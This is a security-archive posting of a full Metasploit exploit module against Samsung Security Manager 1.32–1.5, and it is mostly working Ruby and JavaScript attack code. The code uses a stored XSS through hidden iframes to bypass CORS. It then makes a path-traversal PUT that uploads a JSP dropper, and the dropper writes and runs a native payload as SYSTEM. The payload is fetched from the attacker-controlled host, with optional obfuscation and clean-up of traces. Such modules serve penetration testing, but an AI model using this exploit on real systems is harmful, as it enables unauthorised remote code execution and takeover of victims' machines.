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Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution

Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution
Posted Aug 6, 2016
Authored by mr_me | Site metasploit.com

This is an exploit against Samsung Security Manager that bypasses the patch in CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request to upload the code just where we want it and gain Remote Code Execution as SYSTEM.

tags | exploit, remote, code execution
advisories | CVE-2015-3435
MD5 | 12c0fc1de9392964d1fb7e3d45109b2d

Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
'Description' => %q{
This is an exploit against Samsung Security Manager that bypasses the patch in
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <mr_me[at]offensive-security.com>', # vuln + module
],
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'Targets' =>
[
# tested on 1.32, 1.4 & 1.5
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],
],
'DisclosureDate' => "Aug 05 2016",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end

# this is because String.fromCharCode has a max of 65535 func args
# thanks to sinn3r for his help with the Array->String conversion
def encode_js(string)
i = 0
encoded_0 = []
encoded_1 = []
string.each_byte do |c|
if i > 65534
encoded_1 << c
else
encoded_0 << c
end
i += 1
end
if i > 65534
return encoded_0 * ",", encoded_1 * ","
else
return encoded_0 * ","
end
end

# tested on Firefox v46.0.1 (latest)
# tested on Chrome v50.0.2661.102 (latest release)
# tested on IE v11.0.9600.18314 (latest)
def on_request_uri(cli, request)

js_name = rand_text_alpha(rand(10)+5) + '.js'

payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name

# we deliver the JavaScript code that does the work for us
if (request.uri.match(/.js/))
return if ((p = regenerate_payload(cli)) == nil)

# dont exploit again otherwise we get a zillion shells
return if session_created? or @exploited

jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
exe_name = rand_text_alpha(rand(10)+5) + '.exe'

# clean just the jsp, because the exe dropper will be in use
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")

# our jsp upload, ensuring native code execution
jsp = %Q|<%@ page import="java.io.*" %>
<%
ByteArrayOutputStream buf = new ByteArrayOutputStream();
BufferedReader reader = request.getReader();
int tmp;
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
buf.writeTo(fostream);
fostream.close();
Runtime.getRuntime().exec("#{exe_name}");
%>|

# encode the payloads
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
encoded_jsp = encode_js(jsp)

# targets
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
upload_uri = "http://localhost:8161/admin/#{jsp_name}"

# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
js_content = %Q|

function do_put(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();
xhr.open("PUT", uri, true);
var body = file_data;
xhr.send(body);
return true;
}

function do_upload(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
var body = file_data;

// latest ff doesnt have sendAsBinary(), so we redefine it
if(!xhr.sendAsBinary){
xhr.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);
}
}
xhr.sendAsBinary(body);
return true;
}

function bye_bye_xss(uri){
var xhr = new XMLHttpRequest();
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
xhr.send();
}

function clean_up(){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var els = xhr.responseXML.getElementsByTagName("a");
for (var i = 0, l = els.length; i < l; i++) {
var el = els[i];
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
bye_bye_xss(el.href);
}
}
}
}
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
xhr.responseType = "document"; // so that we can parse the reponse as a document
xhr.send(null);
}

function exploit(){
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
clean_up();
}

function start() {
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
setTimeout(exploit(), 2000); // timing is important
}
start();
|

if datastore['OBFUSCATE']
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
js_content.obfuscate
end

print_status("Sending javascript...")
@exploited = true
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
return
end

if datastore['OBFUSCATE']
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
js_content.obfuscate
onlick = ::Rex::Exploitation::JSObfu.new(onlick)
onlick.obfuscate
end

iframe_injection = ""
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
(1..20).step(1) do |n|
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"
end

# the stored XSS endpoint
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="

# we use XSS to execute JavaScript code in local context to avoid CORS
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""
target << Rex::Text.uri_encode(xss_injection)

# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
html_content = %Q|
<html>
<body>
<iframe src="#{target}" width="0" height="0"></iframe>
#{iframe_injection}
</body>
</html>
|
print_status("Sending exploit...")
send_response_html(cli, html_content)
handler(cli)
end
end

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